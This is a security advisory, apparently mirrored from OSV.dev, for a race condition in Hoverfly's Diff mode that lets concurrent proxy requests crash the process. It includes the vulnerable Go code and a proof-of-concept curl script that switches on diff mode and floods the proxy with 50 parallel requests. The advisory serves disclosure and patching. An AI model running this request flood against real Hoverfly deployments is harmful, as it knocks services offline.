Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode
Published 14 Jul 2026 · Updated 21 Jul 2026
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Affected package
- Affected
- <1.12.8
- Fixed in
- 1.12.8
go get github.com/SpectoLabs/hoverfly@v1.12.8Details
Summary:
When Hoverfly is running in Diff mode, the AddDiff() function writes to the shared responsesDiff map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a fatal error: concurrent map read and map write, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.
Details:
1. Unsynchronized map access in AddDiff() (core/hoverfly_service.go:417-421):
func (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {
if len(diffReport.DiffEntries) > 0 {
diffs := hf.responsesDiff[requestView] // UNSYNCHRONIZED READ
hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE
}
}2. This function is called from Diff mode processing, which runs concurrently per request (core/modes/diff_mode.go):
Each incoming proxy request is handled in its own goroutine by Go's net/http server. In Diff mode, each request calls AddDiff() after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.
3. Go's runtime detects concurrent map access and terminates the process:
Unlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls fatal() which is unrecoverable, it cannot be caught by recover().
4. No mutex protection exists on responsesDiff:
The field is declared as a plain map[v2.SimpleRequestDefinitionView][]v2.DiffReport with no associated sync.RWMutex. Compare with hf.state which properly uses sync.RWMutex for its map access.
Environment:
- Hoverfly version: v1.12.7
- Operating System: macOS Darwin 25.4.0
- Go version: 1.26.2
- Configuration: Hoverfly in Diff mode (
PUT /api/v2/hoverfly/mode {"mode":"diff"})
POC:
Step 1: Start Hoverfly and set Diff mode
./hoverfly &
sleep 2
# Set diff mode
curl -X PUT http://localhost:8888/api/v2/hoverfly/mode \
-H "Content-Type: application/json" \
-d '{"mode": "diff"}'
# Load a simulation for diff comparison
curl -X PUT http://localhost:8888/api/v2/simulation \
-H "Content-Type: application/json" \
-d '{
"data": {
"pairs": [{
"request": {"path": [{"matcher": "glob", "value": "*"}]},
"response": {"status": 200, "body": "expected"}
}],
"globalActions": {"delays": [], "delaysLogNormal": []}
},
"meta": {"schemaVersion": "v5.2"}
}'Step 2: Send concurrent requests to trigger the race
# Send 50 concurrent requests, race condition triggers within seconds
for i in $(seq 1 50); do
curl -s -x http://localhost:8500 "http://httpbin.org/get?id=$i" &
done
waitStep 3: Observe the crash
# Check if process is still running pgrep -f hoverfly
crash output on Hoverfly v1.12.7:
fatal error: concurrent map read and map write
goroutine 892 [running]:
github.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)
/core/hoverfly_service.go:419
github.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)The process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.
Impact:
- Full denial of service: The process terminates immediately and cannot be recovered without a restart
- Trivial exploitation: Any attacker with proxy access can trigger this by sending multiple concurrent requests
- No admin API access required: Only proxy port access is needed to trigger the crash
- Unrecoverable:
fatal errorin Go cannot be caught byrecover()— the process is unconditionally killed - Affects all Diff mode users: Any team using Diff mode for API comparison testing is vulnerable
Is GHSA-qrh4-p6v4-mrfg in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/SpectoLabs/hoverfly, and gives you the command that fixes it.
More advisories for github.com/SpectoLabs/hoverfly
- LowCVE-2026-50018Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions in github.com/SpectoLabs/hoverfly · 17 Jul 2026
- MediumCVE-2026-50018Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions · 14 Jul 2026
- LowCVE-2025-54123Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation in github.com/SpectoLabs/hoverfly · 17 Sept 2025
- LowCVE-2025-54376WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled in github.com/SpectoLabs/hoverfly · 17 Sept 2025
- HighCVE-2025-54376WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled · 10 Sept 2025
- CriticalCVE-2025-54123Hoverfly is vulnerable to Remote Code Execution through an insecure middleware implementation · 10 Sept 2025
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.